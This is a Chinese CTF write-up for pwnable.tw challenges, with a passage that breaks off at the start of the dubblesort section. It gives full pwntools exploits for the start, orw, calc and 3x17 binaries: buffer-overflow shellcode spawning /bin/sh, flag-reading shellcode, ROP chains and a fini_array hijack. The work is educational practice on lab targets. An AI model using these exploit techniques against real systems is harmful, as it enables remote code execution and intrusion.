# Pwnable writeup ## 環境 * OS: ubuntu 18.04 * tools: gdb-gef, radare2, pwntools, IDA ### Tools * 透過 gdb-gef 程式進行動態分析,並利用 pwntools 與程式進行互動 * 透過 pwntools 將目標程式打開後 attach 到 gdb 上 * 可以同時讓 pwntools 與程式互動的同時利用 gdb 對程式進行動態分析 ```python= from pwn import * Local = True def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if Local is True: p = setgdb(filename) else: p = remote(target, port) ``` * radare2 則是來對目標程式進行靜態分析,已得到程式的 assembly code ## Start 首先將目標程式執行過後可以看到會再輸出一串字串後,讓我們能夠輸入東西然後程式就此結束,是非常簡單的一支程式,對於這類的題目非常有可能是利用 buffer overflow 的漏洞來進行攻擊,因此我先透過了 radare2 來瞭解這支程式的流程,並透過 `readelf` 來確認這支程式是一個 32 位元的 ELF 檔 ![image](https://hackmd.io/_uploads/H1eQV4KGR.png) 這個流程值得我們注意的有以下幾塊 * 將最開始的 esp 及要 return 的 address 放到堆疊裡面 ```assembly x08048060 54 push esp 0x08048061 689d800408 push loc._exit ``` * 將輸出的字串 `Let's start the CTF:` 放進堆疊裡面 ```assembly 0x0804806e 684354463a push 0x3a465443 0x08048073 6874686520 push 0x20656874 0x08048078 6861727420 push 0x20747261 0x0804807d 6873207374 push 0x74732073 0x08048082 684c657427 push 0x2774654c ``` * 這邊可以看到的是 asm 中 `int 0x80` 的意思就是要去呼叫 system call * 要呼叫的 system call 會放在 eax 裡面,透過參考 [x86 32bit](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit) 的 system call 可以了解到 * 前半部分的 `mov al, 4` 代表要呼叫的是 write,後半部分的 `mov al, 3` 則是要呼叫 read * 知道是甚麼之後就可以透過以上的文件來去知道放入的參數值為何 * 前半部分是呼叫 write(1, ESP, 0x14),所代表的意思就是要將 stack 上的前 20 bytes 值輸出到 stdout 上,就是我們所看到的 `Let's start the CTF:` ```assembly 0x08048087 89e1 mov ecx, esp 0x08048089 b214 mov dl, 0x14 0x0804808b b301 mov bl, 1 0x0804808d b004 mov al, 4 0x0804808f cd80 int 0x80 0x08048091 31db xor ebx, ebx 0x08048093 b23c mov dl, 0x3c 0x08048095 b003 mov al, 3 0x08048097 cd80 int 0x80 ``` * 前半部分是呼叫 write(1, ESP, 0x14),所代表的意思就是要將 stack 上的前 20 bytes 值輸出到 stdout 上,就是我們所看到的 `Let's start the CTF:` ```assembly 0x08048087 89e1 mov ecx, esp 0x08048089 b214 mov dl, 0x14 0x0804808b b301 mov bl, 1 0x0804808d b004 mov al, 4 0x0804808f cd80 int 0x80 ``` * 後半部分則是呼叫 read(0, ESP, 0x3c),由於前面的 ecx 放入的 esp,這裡的 read 會直接將輸入的字串放到從 esp 開始的堆疊上面,輸入的最大長度為 0x3c,看到這邊就很明顯地知道,前面預留給字串的 size 只有 0x14 這邊卻可以輸入長度為 0x3c 的字串,是一個典型的 buffer overflow 題目 ```assembly 0x08048091 31db xor ebx, ebx 0x08048093 b23c mov dl, 0x3c 0x08048095 b003 mov al, 3 0x08048097 cd80 int 0x80 ``` * 最後這部分就是將現在的 esp + 0x14 先前放入 stack 的字串生命週期結束,因此將 esp 指向先前存放的 return address,最後進行 return,完成整支程式的流程 ```assembly 0x08048099 83c414 add esp, 0x14 0x0804809c c3 ret ``` ### 漏洞利用 * 首先確認這支程式有沒有任何保護機制,可以看到是完全沒有 ![image](https://hackmd.io/_uploads/SJxNFFusMA.png) * 根據上面的分析,目標程式在我們輸入字串前,stack 上面的資料會如下面那樣,我們要做的事情就是透過輸入的字串去覆蓋掉原先的 return address 來達到操作程式流程的目的 * 而我們透過 radare2 發現這支程式只有 `_start` 這個 function,並沒有其他呼叫 syscall 的 function * 然而可以發現 stack 上存放了 Old ESP 的位置,因此我們可以利用得到這個值來得到 stack 上面的 address,並透過在 stack 上 push 呼叫 `/bin/sh` 的 shellcode 內容,再將含有這段內容的 stack address 放入 return address 中,就能讓程式跳到我們寫的 shellcode 段去做執行,來成功達成 RCE | Stack | |:--------------:| | CTF: | | the | | art | | s st | | Let' | | Return Address | | Old ESP | | ... | ### 拿到 stack address * 要如何得到 stack 的 address?我們可得知的是在 return 過後 stack 會呈現下列的樣子,此時 stack 的最上方會是先前存入的 old ESP 的位置,實際上也就是現在 ESP 所指到的下一個的 frame | Stack | |:-------:| | Old ESP | | ... | * 有了以上資訊,就可以利用將 return address 改成呼叫 `write` 的位置,讓程式將 stack 中的資料輸出後就能拿到 `Old ESP` 的 address * 透過上面 radare2 所分析得到的,從 `0x08048087` 開始為放入 `write` 參數,因此可以利用 pwntools 輸入給程式 payload 將 return address 改為 `0x0804808f` ```python= from pwn import * def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': filename = './start' p = setgdb(filename) #p = process("./start") p.recvuntil(':') payload = b'A' * 0x14 + p32(0x8048087) p.send(payload) ``` * 此時 stack 會呈現為下列的樣子,當 return 執行之後,程式將會跳回 `0x08048087` 的地方再次執行 `write`,此時的 ESP 會指向 `Old ESP`,因此將 write 所輸出的前 4 bytes 的 frame 取出後我們就成功拿到 stack 上的某段 address | Stack | |:----------:| | AAAA | | AAAA | | AAAA | | AAAA | | AAAA | | 0x08048087 | | Old ESP | | ... | ### 達成 RCE * 拿到 `Old ESP` 後程式會繼續執行到 `read` 的地方,此時我們就能夠再次透過輸入來操作程式流程,第二次目標是將一段執行 `execve` syscall 的 shellcode 寫進去讓程式去執行 `/bin/sh` 來達到 RCE 的目的,需寫入以下的 shellcode,實際再寫的時候須將 `/bin/bash` 轉為 16 進制的數字 ```assembly mov eax, 0x0b push /sh push /bin mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 ``` * 利用 python 與 pwntools 來產生此段 shellcode ```python shellcode = ''' mov eax, 0x0b push {} push {} mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 '''.format(u32('/sh\0'), u32('/bin')) ``` * 所以當再次輸入時,目標是讓 stack 被寫成下列的樣子 | Stack | |:---------:| | AAAA | | **AAAA** | | AAAA | | AAAA | | AAAA | | ? address | | shellcode | | ... | * 最後的步驟就是我們要如何 return 到 我們寫入 shellcode 的位置,已知的是我們所拿到的 `Old ESP` 是現在 ESP 所指向的位置加上 `0x04`,也就是粗體框起來的位置 * 透過上面的 stack 可以知道,只要將這個 `Old ESP` 加上 `0x14` 就能夠得到寫入 shellcode 段的 stack 位置,最後就可以得知我們要將 stack 寫成: | Stack | |:--------------:| | AAAA | | AAAA | | AAAA | | AAAA | | AAAA | | Old ESP + 0x14 | | shellcode | | ... | * 透過 pwntools 將 payload 送到目標程式 ```python= from pwn import * shellcode = ''' mov eax, 0x0b push {} push {} mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 '''.format(u32('/sh\0'), u32('/bin')) def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': filename = './start' p = setgdb(filename) p.recvuntil(':') # first BOF, get old esp addr payload = b'A' * 0x14 + p32(0x8048087) p.send(payload) old_esp = u32(p.recv()[:4]) # second BOF, call execve syscall payload = b'A' * 0x14 + p32(old_esp + 0x14) + asm(shellcode) p.send(payload) p.interactive() ``` * 最後我們成功得到 shell,這是在本機執行的其況,只要改 `p = remote('chall.pwnable.tw', 10000)` 就能夠完成 RCE ![image](https://hackmd.io/_uploads/S1EvPlqG0.png) * 最後尋找 FLAG 所在的檔案,完成題目 ![image](https://hackmd.io/_uploads/r1tf_xqGR.png) ## orw 題目很明顯的直接跟我們說只能利用 `open`、`read` 及 `write` 來讀 flag,由於無法執行題目所提供的 ELF 檔,但透過 readelf 及 radare2 一樣能得到一些資訊,這是一個 32 位元的 EFL 檔,並且 main 的流程如下 ![螢幕擷取畫面 2024-05-09 153611](https://hackmd.io/_uploads/ry0GC-cMC.png) 看起來是透過 seccomp 來限制 syscall 的呼叫,然後去執行我們所輸入的 shellcode,那我們就一樣利用 pwntools 將我們所寫的 shellcode 送過去,並且利用 `open` 將 flag 打開後,透過 `read` 把 flag 讀到 stack 上面最後在用 `write` 將 stack 上的 flag 寫到 stdout 上 * open flag,要將 push 到 stack 中的字串轉成 32 位元之數字 ```assembly= mov eax, 0x05 push ag\0\0 push w/fl push e/or push /home mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 ``` * read flag,由於不知道 flag 的 size,先設成 0x20 ```assembly= mov ebx, eax mov eax, 0x03 mov ecx, esp mov edx, 0x20 int 0x80 ``` * write flag ```assembly= mov ecx, esp mov ebx, 0x01 mov eax, 0x04 mov edx, 0x20 int 0x80 ``` * 利用 pwntools 與題目連線後,送出 payload,拿出 flag ```python= from pwn import * shellcode = ''' mov eax, 0x05 push {} push {} push {} push {} mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 mov ebx, eax mov eax, 0x03 mov ecx, esp mov edx, 0x20 int 0x80 mov ecx, esp mov ebx, 0x01 mov eax, 0x04 mov edx, 0x20 int 0x80 '''.format(u32('ag\0\0'), u32('w/fl'), u32('e/or'), u32('/hom')) Local = False def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': filename = './orw' target = 'chall.pwnable.tw' port = 10001 if Local is True: p = setgdb(filename) else: p = remote(target, port) p.recvuntil(':') payload = asm(shellcode) p.send(payload) flag = p.recv() print(flag) ``` * 確實拿到 flag 了,但沒顯示完整,將上面的 size 從 0x20 提高到 0x30 後成功拿到完整的 flag ![image](https://hackmd.io/_uploads/HyGaeM5GC.png) ## calc 這題首執行起來後,如下圖所示看起來是一個計算器,可以計算使用者輸入的運算式 ![image](https://hackmd.io/_uploads/r1lJXQoMA.png) 但是當我輸入以下運算式的時候,輸出的結果確不是運算式的結果,但是知道這點也不知道為什麼會這樣,需要進一步的分析程式邏輯 ![image](https://hackmd.io/_uploads/H19UmQiMR.png) ### 靜態分析 * 原先透過 radare2 來分析 calc 這支程式,但都是組合語言實在無法看懂,後來改用 IDA free 來進行分析,這支程式的執行流程主要會去執行幾個 function * `main`, `calc`, `get_expr`, `init_pool`, `parse_exrp`, `eval` * 逐一分析這些 function 在做的事情,以下的分析為了讓可讀性增加,已經對一些變數名稱及 type 進行修改,並對一些段落上了註解 * `main`,可以看到會去 call `calc` function,程式結束後會輸出 `Merry Christmas!` ![image](https://hackmd.io/_uploads/Hy5-_QsfR.png) * calc ![image](https://hackmd.io/_uploads/rkrQuQiGR.png) * 有一個無窮迴圈,然後進去之後清空陣列 v2,執行 `get_expr` 決定要不要離開迴圈 * 需要先去理解 `get_expr在做的事情以及回傳的值` * 若 `get_expr` 回傳的 size 不是 0,則會呼叫 `init_pool`,讓 `v1` 陣列的值都設為 0 做初始化 * 下一步 `parse_expr` 輸入的運算式 `v2`,現階段還不知道 `v1` 是做甚麼的,接下來對 `parse_expr` 進行分析 * 分析完 `parse_expr` 後知道,`v1` 就是下面的 `operands`,最後會將 `operands[operands[0]]` 的結果輸出,作為最後運算結果 * get_expr ![image](https://hackmd.io/_uploads/rymS_mozA.png) * 就分析來看,`get_expr` 會將使用者輸入的運算式一個字元一個字元的存到變數 `v4` 中,並且儲存的值只會有 `+` `-` `*` `/` `%` `0-9` * 然後將輸入的 `v4` 字元再放到 `get_expr` 的輸入參數 `a1` 中,然後利用 `v5` 去儲存現在的輸入 size 為多少,若 size 大於 `a2` 就會離開,上面的 `calc` 呼叫時,可以發現最大 size 是 1024 * 最後回傳的值是 `v5`,因此知道了 `get_expr` 這個 function 會去儲存使用者輸入的運算式並會傳輸入 size * init_pool ![image](https://hackmd.io/_uploads/rJYIdQsf0.png) * 初始化傳送的陣列 * parse_expr ![image](https://hackmd.io/_uploads/B1UxtmiM0.png) * 這部分就是宣告及初始化參數 ![image](https://hackmd.io/_uploads/HJe7t7szA.png) * 開始分析輸入的字串,若讀到的不是數字0~9,進入到 if 裡面, * 不是0~9的只會有 `+-*/%` 等 operator 而已 * 這段就是把 operator 前的數字提出來,放到 `v8`,並將字串轉成數字後放入 `v9` * 25行中可以看到 `v8` 與一個東西進行比較後,輸出的是 `prevent division by zero`,因此合理推斷是將 `v8` 與`'0'` 去進行了比較後,若 `v8 = '0'` 則會進入到這個判斷式裡面 * **32 行開始,`v9` 所拿到的數字大於 0 的話,會存入 `oprands` 裡面,這裡的 `oprand` 是我在修改 IDA 變數名稱時不小心把 `operand` 打錯的,請見諒w** * **這邊注意到的是存放的方法,只要有數字到裡面 `oprands` 裡面,會先執行`*oprand++`,實際就是 `oprand[0]++`,然後這裡的 `oprand` 就是我們先前 `init_pool` 所初始化的陣列傳進來的,所以初始的值都會是 0** * **然後會在執行 `oprand[oprand[0]] = v9`** * **可以得知這變得儲存方式是,會在 `index 0` 的位置不斷的更新現在有多少數字被放進來,然後再透過 `oprand[0]` 作為現在這個數值要存放的陣列的位置** * 最後看到 37 行的判斷式,假設現在讀到的字元是 `+-*/%`,下一個位置的字元一樣是 `+-*/%`,表示這個運算式錯誤,直接結束 function * 也就是說不能夠輸入`-10+-5`這類的運算式 ![image](https://hackmd.io/_uploads/S1MPtQozC.png) * 接者這部分,會去判斷存放 `+-/*` 的 `operator[operator_counts]` 裡面是否有 operator,若是沒有代表先前沒有放入過 operator,將現在所掃到的 operator 字元放進去 * 有的話,會先去判斷優先度,若現在掃到的是 `+` `-` 到陣列裡的最上方是 `*/%`,會先把 `*/%` 要運算的先算完,若現在掃到到的是相同優先度的則一樣先放入陣列 * 這部分只是在做先乘除後加減而已 * 最後第 70 行會去判段 `input_buf` 的下一個字元是不是 `\0`,若是代表運算式到這邊結束了,離開迴圈 ![image](https://hackmd.io/_uploads/SJADYmjzA.png) * 最後離開迴圈,若 `operator` 陣列裡還有運算子,把裡面的東西都計算完後離開 function * eval ![image](https://hackmd.io/_uploads/rkY0-DizA.png) * 可以從上面看到,要對運算元進行計算的時候都會呼叫 `eval` * 我們知道`operand[0]` 會存著最後一個進去的數字所在的位置 * 這邊的 `operands[*operands - 1] += operands[*operands]`實際上就是 `operands[operands[0] - 1] += operands[*operands[0]]` * 然後最後會在將 `--*operands`,因為最後一個數字已經運算完將結果存回上一個 index,所以要將 index - 1 * 所以得知運算的結果都會放在 `operands[operands[0]]` ### 程式漏洞 * 靜態分析完之後,再來看一下為何原先輸入的 `-10+2` `-10` `+10` 等輸出會不是運算式的結果,首先來分析一下 `-10+2` 的流程 * 第一個字 `-` 進到 `parse_expr` 時會直接進入迴圈,因為他不屬於 0~9 之間 * 同時 `v8` 因為前面沒掃到任何數字,`v8 = '\0'` * `'\0'` 不等於 `'0'`,因此迴圈繼續執行,`v9 = atoi('\0')`,`atoi('\0')` 會回傳 0,因此 `operand` 不會有改變 * 最後會將`-` 放入 `operator[0]` 中 * 當再次掃到 `+` 時,再次進入迴圈 * 此時 `v8` 的值為 `'10'`,不等於 `'0'`,迴圈不會結束 * `v9` 的值為 `10`,`operand[0]++`,`operand[operand[0]] = 10` * 此時的 `operand[0]` 為 `1` * 由於先前的 `operator[0]` 被放入了 `-`,因此會執行 `eval(operands, operator[0]` * 進入到 `eval` 後,會去計算 `operands[operands[0] - 1] -= operands[operands[0]]` * 實際上就會變成 `operands[0] -= 10`,`operands[0]` 會變成 `-9` * `eval` 的最後又會 `--operands[0]`,因此最後 `operands[0]` 會等於 `-10` * 算完後會將 `+` 放入 `operator[0]` * 最後掃到 `\0` 時,會先將 `operands[0]++` 此時值為 `-9`,將 `2` 放入 `operands[-9]` * 最後進入 `eval` 計算 `operands[operands[0] - 1] -= operands[operands[0]]` * 帶入此時的值,會看成 `operands[-10] = operands[-10] + operands[-9]` * `operands[-10]` 應該會等於 `-8`,最後會在做`--operands[0]`,`operands[0]`的值為 `-10` * 最後 `calc` 會將 `operands[operands[0]]` 輸出 * 輸出 `operands[-10]` * 看到這裡已經很明顯的發現,若在開頭就放入運算子,在進行計算時他會將結果放入 `operands[0]` * 這時的 `operands[0]` 就已經不再代表 `index`,那換句話說我們其實是透過操作 `operands[0]` 的值,然後將我們想要的數值寫進記憶體裡面 * 由於上面的輸入中 `operands[-10]` 原本存放的記憶體是甚麼根本就不知道,所以輸出才會變成不符合預期 * 再整理一下,也就是說我們能透過輸入 `+X+Y`,來對記憶體位置 `operands[X]` 進行寫入,輸入 `+X` 可以拿到記憶體位置 `operands[X]` 裡面的值 ### 漏洞利用 * 確認這支程式的保護機制 ![image](https://hackmd.io/_uploads/HyQb5OsGR.png) * 由於有 NX 保護,所以我們沒有辦法直接在 stack 上寫 shellcode 去執行 * 但並沒有 PIE ,所以我們可以建構出 ROP Chain 來建構出我們想要的 shellcode * 目標是執行 `execve("/bin/sh")` * 要建構出的 shellcode 需要 * `eax` 放入 `0x0b` * `ebx` 指向 `/bin/sh` * `ecx` 放入 `0` * `edx` 放入 `0` * 呼叫 syscall `int 0x80` * 所以我們能做的是,透過在特定記憶體位置寫入值後,`pop` 到 `eax` `ebx` `ecx` `edx` 上,最後在執行 `int 0x80` * 所以需要有 `pop eax;ret` `pop ebx;ret` `pop ecx;ret` `pop edx;ret` `int 0x80;ret` 等 ROPgadget 來建構出我們的 ROPchain * 透過 ROPgadget 來尋找,紅色底線的這幾個gadget可以來建構出目標的 ROP chain ![image](https://hackmd.io/_uploads/SJO5pOifA.png) * 現在的目標就是透過輸入的運算子在 `operands[X]` 只到 `calc` 的 retern address,讓他跳到找出來的 gadget 的位置,開始 ROP chain,已知的是 function `calc` 的 stack 會呈現下列的樣子,`calc` 的 `ebp` 上面會存放者 `main` 的 `epb`,透過 gdb 設段點在 calc,觀察一下 `calc` 與 `main` 的 `ebp` 的相對位置 | Stack | |:--------------:| | ... | | **main_EBP** | | Return Address | | ... | ![image](https://hackmd.io/_uploads/SkjddcsMR.png) * `calc` 的 `epb` 位在 `d1a8`,`main` 的 `ebp` 位在 `d1c8`,相差 `0x20 * return address 會存在 `calc_ebp + 0x04` 的位置上,也就是 `main_ebp - 0x20 + 0x04` 上 * 但我們能操作的是從 `operands[0]` 開始的記憶體位置去進行位移,他它的位置在哪呢!? * 以知的是,`operands` 會在 `init_pool` 中被傳入,那我們就可以透過 gbd 觀察 `init_pool` 傳入的參數所在的位置來定出 `operands[0]` 在哪裡 ![image](https://hackmd.io/_uploads/B1Wqt5sMC.png) * 可以看出 `operands[0]` 的位置是放在 `init_pool` 的 `ebp + 0x08`,位在`cc08` ![image](https://hackmd.io/_uploads/rJtg55ozC.png) * 現在可以得出,`operands[0]` 的位置在 `cc08`,那我們透過位置的相減得出相對位置 * `calc_ebp - cc08` 為 `0x5A0`,`operands` 的 type 是 `int`,我們就可以得出,若要指向 `calc_ebp`,首先將 `0x5A0` 除上 4 (bytes),得到 360,那也可以得知 reterun address 會放在下一個 4 bytes 上,也就是 operands[361] * 就可以透過 `+361+X` 來去覆寫掉 `calc` 的 return address ### 建構 ROP chain * 有了 gadget 的位置以及知道 return address 要覆寫的位置,我們開始來建構 ROP chain,要讓 `calc` 的 stack 改成以下 | Stack | |:-----------------:| | ... | | main_EBP | | 0x0805c34b | | 0x0b | | 0x080701d0 | | 0x00 | | 0x00 | | addr_of_'/bin/sh' | | 0x08049a21 | | ... | * 那現在需要的是 `/bin/sh` 存放的位置,一樣能透過操作 `operands[X]` ,將 `/bin/sh` 寫在 stack 上,可以直接寫在存 `0x08049a21` stack 的下一個 frame,也就是 `calc_ebp + 8 * 0x04` 的位置上 | Stack | |:-----------------:| | ... | | main_EBP | | 0x0805c34b | | 0x0b | | 0x080701d0 | | 0x00 | | 0x00 | | addr_of_'/bin/sh' | | 0x08049a21 | | '/bin' | | '/sh\0' | * 現在將這些位置以`operand[X]` 的方式來表達 * `0x0805c34b` 存在 `operands[361]` * `0x0b` 存在 `operands[362]` * `0x080701d0` 存在 `operands[363]` * `0x00` 存在 `operands[364]` * `0x00` 存在 `operands[365]` * `calc_ebp + 8 * 0x04` 存在 `operands[366]` * 也就是在 `operands[366]` 中寫入 `operands[368]` 的位置 * `0x08049a21` 存在 `operands[367]` * `'/bin'` 存在 `operands[368]` * `'/sh\0'` 存在 `operands[369]` * 將這些資訊用 pwntools 加以實現,首先建構出以下的程式碼,完成要放入 stack 的資料 ```python= from pwn import * Local = False def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p rop_gadget = [0x0805c34b, 0x0b, 0x080701d0, 0x00, 0x00, 0, 0x08049a21, u32('/bin'), u32('/sh\0')] if __name__ == '__main__': filename = './calc' target = 'chall.pwnable.tw' port = 10100 if Local is True: p = setgdb(filename) else: p = remote(target, port) p.recv() p.send("+360") main_epb = int(p.recv()) calc_ebp = main_epb - 0x20 bin_sh_addr = calc_ebp + 8 * 0x04 rop_gadget[5] = bin_sh_addr ``` * 要注意的點是,透過剛剛的分析知道若輸入 `+X+Y` 會得到 `operands[X] = operands[X] + Y` * 所以如果我要在 `operands[361]` 寫入 `0x0805c34b`,我要將原本 `operands[361]` 中的值加上一個 `Y` 值讓他等於 `0x0805c34b` * 所以我要先輸入 `+361` 拿到 `operands[361]`,之後把 `0x0805c34b - operands[361]` 後的值當作 `Y`,完成 `+361+Y` 的邏輯去對 `operands[361]` 寫入目標的值 * 如果 `gadget` 的值小於 `operands[X]`,則要利用 `+X-Y` 的方式去輸入 * 所以建構出以下程式碼 ``` python=29 index = 361 for gadget in rop_gadget: p.sendline("+{}".format(index)) value_of_index = int(p.recv()) if (gadget > value_of_index): target = gadget - value_of_index payload = "+{}+{}".format(index, target) elif (gadget < value_of_index): target = value_of_index - gadget payload = "+{}-{}".format(index, target) p.sendline(payload) p.recv() index += 1 p.interactive() ``` * 最後與題目機連上之後,送出這些 payload,成功拿到 shell,完成題目 ![image](https://hackmd.io/_uploads/Hye7OjjfR.png) ![image](https://hackmd.io/_uploads/BJOP_isf0.png) ## 3x17 首先透過 `readelf` 確認了這是一個 64 位元的 ELF,開起程試後首先會看到一串 `addr:`,輸入之後會再要我們輸入 `data:`,首先開啟 IDA 做第一步的分析,發現看不到 function name,這支程式被 stripped 了,那就從 entry point 來進行分析 ![start](https://hackmd.io/_uploads/rJ6y7gvcC.png) 為了知道哪個是 main function 的地址,把另一支沒有 stripped 過的 binary 丟到 IDA 看看 start 長甚麼樣子 ![calc_start](https://hackmd.io/_uploads/ByClQgwqA.png) offset 的重下面看上來依序是,`main` `init` `fini`,這樣對應到 `sub_401b6d` `sub_4028d0` `sub_402960`,所以將 IDA 裡的名字重新命名,進入到 `main` 裡面看一下 ![main_before](https://hackmd.io/_uploads/ByqNQxDcC.png) 點進去看過 `sub_446ec0` 跟 `sub_446e20` 就可以發現分別對應到 `write` 及 `read`,那剩下的 `sub_40ee70` 一直追下去看發現非常複雜 ![sub_40EE70](https://hackmd.io/_uploads/H1kO7ePq0.png) 那就直接透過 gdb 動態分析的方法看這個 function 所回傳的值是甚麼,首先先確認此 binary 是否是靜態連結 ![static](https://hackmd.io/_uploads/Sk8Q4lPqA.png) 那就可以在 IDA 上面看到的 address 當作 gdb 的斷點就可以斷想分析的地方,目標是得知 `sub_40ee70` 回傳的值,所以將斷點設在呼叫 `sub_40ee70` 後的一行來看 `rax` 上的值是甚麼 ![rax](https://hackmd.io/_uploads/SkhI4eP9C.png) ![rax_gdb](https://hackmd.io/_uploads/HJndVlv5R.png) 輸入的是 `123`,回傳 `0x7b`,所以合理推測這是一個將字串轉成 hex 的 function,之後的 `read` 會把回傳的值當作地址將資料寫進去,這支程式所做的事情就是讓我們輸入 `addr` 後再 `addr` 上寫上我們要的資料 ### 漏洞利用 能夠在某個記憶體寫上我們要的資料,那首先先來檢查一下 binary 有甚麼保護機制 ![checksec](https://hackmd.io/_uploads/SJTtElv5A.png) 一樣沒有 NX,所以無法直接寫入 shellcode,但沒有 PIE ,看起來一樣是透過建構一個 ROP chain 來去執行 `/bin/sh` 的 syscall,來完成 RCE * 但正常的流程,我們只能對某段記憶體寫入一次之後,程式就會結束 * 需要再第一次寫入的時候讓程式能不斷地執行,但不知道 stack 的位置,沒有辦法直接覆蓋 return address * 但因為是靜態連接,我們知道`fini_array` 的位置,這樣就能利用程式啟動的流程來達到多次寫入 ``` init init_array[0] init_array[1] ... init_array[n] main fini fini_array[n] fini_array[n - 1] ... fini_array[0] ``` * 如果能夠在 `call fini_array[n]` 時,覆寫掉李面呼叫的 function address,我們就能藉由控制程式的 rip 來完成流程上面的控制 * 首先需要知道,`fini_array` 的 size 是多少,那就來看一下 `fini` 裡面 ![fini](https://hackmd.io/_uploads/HyhqEgv5R.png) * `fini` 中會去 `call qword ptr[rbp+rbx*8+0]`,之後執行 `sub rbx, 1`,所以透過 gdb 將斷點設在`0x402988`,在執行第一次時只要能觀察 `rbx` 裡面的值,就能知道 `fini_array` 的 size,並且同時能知道的資訊是,fini[0] 會放在 `rbp` 上面 ![call_fini_arr_rbp](https://hackmd.io/_uploads/HkQpNlPqC.png) * `rbx` 是 1,所以 `fini_array` 的 size 為 2,`rbp` 裡放的位址為`0x4b40f0`,代表 `fini_array[0]` 的記憶體位置 * 只要將 `fini_array[1]` 裡的值改成 `main` 的位置,將 `fini_array[0]` 改成 `fini` 的位置,就會形成一個 `fini->main->fini->main` 的迴圈,一樣透過 pwntools 將輸入送進去 * 但要注意的是,`main` 裡面有一個全域變數 `byte_4B9330` 每次執行都會加 1,並且只有當他是 1 的時候才會讓我們輸入要寫的位置及資料 * `byte_4B9330` 是一個 `unsigned int`,所以可以利用上述的重複執行迴圈讓 `main` 一直執行到 `byte_4B9330` 溢位回到 0,之後就能夠再次輸入 `addr` 及 `data` ```python= from pwn import * Local = True fini_1 = 0x4b40f0 + 8 fini_0 = 0x4b40f0 fini_func = 0x402960 def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': filename = './3x17' target = 'chall.pwnable.tw' port = 10105 if Local is True: p = setgdb(filename) else: p = remote(target, port) p.sendafter('addr:', str(fini_0)) p.sendafter('data:', p64(fini_func) + p64(main_func)) ``` ### 建構 ROP chain * 下一步就是要尋找要如何建構出 ROP chain,並讓 `rip` 指到我們所寫的 ROP chain 上 * 需要知道 stack 的位置,讓 `rip` 指到 stack 上,但到目前為止我們拿不到任何關於 stack 上的位置 * 一樣參考 x86 64 bit 的 syscall * `execv` 需要將 `0x3b` 放到 `rax` * `rdi` 要放入 `/bin/sh\x00` * `rsi` 放入 `0` * `rdx` 放入 `0` * 一樣透過 `ROPgadget` 去尋找 `pop rax` `pop rdi` `pop rsi` `pop rdx` `syscall` 等 ROP gadget * 這邊能注意到的是,先前已經知道 `fini_array[0]` 會放在 `rbp` 上,也就是說,在這個時間點是能夠知道 stack 的 address,假設讓後面的 `call fini_array[0]` 去指向 `leave|ret` 的話會發生甚麼事呢? * 將 `main` 中最後的 `leave` 位置放到 `fini_array[0]` 中,讓 `rip` 指向 `leave` * `leave` 做的事情共有兩行 `mov rsp, rbp` `pop rbp`,`leave` 做完繼續做 `ret` 的時候,會做 `pop rip` * 在 `call fini_array[0]` 前已經知道 `rbp` 所指向的位址就是 `fini_array[0]` * 若跳到 `leave` 後,會將 `rbp` 放到 `rsp`,也就是 `rsp` 也會指向 `fini_array[0]`,就能成功透過控制 `rip` 指向的地方來達到控制 `rsp` 所指向的位置 * 之後會再執行 `pop rbp` 時,`rsp` 就會指向 `fini_array[1]`,在執行 `ret` 的時候,會將 `fini_array[1]` pop 到 `rip` 上,讓程式 return 到 `main` 中,由於 pop 了兩次,此時 stack 會呈現下列模樣 | Stack | |:------------------------------:| | data of fini_array_addr + 0x10 | | ... | * 執行 main 之後,會執行 `fini_array[0]`,若此時將 `fini_array[0]` 的地方指向 `leave|ret` 的位置,就會將現在所指向的 esp 當作 return address,就可以利用這樣的流程在 `fini_array + 0x10` 上寫 ROP chain 來完成 RCE ```python=28 rsp = fini_0 + 0x000010 pop_rax = 0x41e4af #pop 0x3b to rax pop_rdi = 0x401696 #pop addr of bin_sh to rdi pop_rsi = 0x406c30 #pop 0 to rsi pop_rdx = 0x446e35 #pop 0 to rax syscall = 0x4022b4 bin_sh_addr = rsp + 8 * 9 p.sendafter('addr:', str(bin_sh_addr)) p.sendafter('data:', "/bin/sh\x00") p.sendafter('addr:', str(rsp)) p.sendafter('data:', p64(pop_rax)) p.sendafter('addr:', str(rsp + 8)) p.sendafter('data:', p64(0x3b)) p.sendafter('addr:', str(rsp + 8 * 2)) p.sendafter('data:', p64(pop_rdi)) p.sendafter('addr:', str(rsp + 8 * 3)) p.sendafter('data:', p64(bin_sh_addr)) p.sendafter('addr:', str(rsp + 8 * 4)) p.sendafter('data:', p64(pop_rsi)) p.sendafter('addr:', str(rsp + 8 * 5)) p.sendafter('data:', p64(0)) p.sendafter('addr:', str(rsp + 8 * 6)) p.sendafter('data:', p64(pop_rdx)) p.sendafter('addr:', str(rsp + 8 * 7)) p.sendafter('data:', p64(0)) p.sendafter('addr:', str(rsp + 8 * 8)) p.sendafter('data:', p64(syscall)) p.sendafter('addr:', str(fini_0)) p.sendafter('data:', p64(leave_ret)) p.interactive() ``` * 最後成功的拿到 shell,拿到 flag ![flag](https://hackmd.io/_uploads/BJiREeD5C.png) ## dubblesort ### 靜態分析 * 這題執行起來後首先會看到要我們輸入名字,之後會要我們輸入 n 個數字做排序 * 再輸入名字後,會看到名字後面有一個亂碼,看起來應該是因為輸入沒有透過 `/0` 將輸入斷掉,所以把後面的東西給輸出了 ![1](https://hackmd.io/_uploads/rk9vzevqA.png) * 透過 IDA 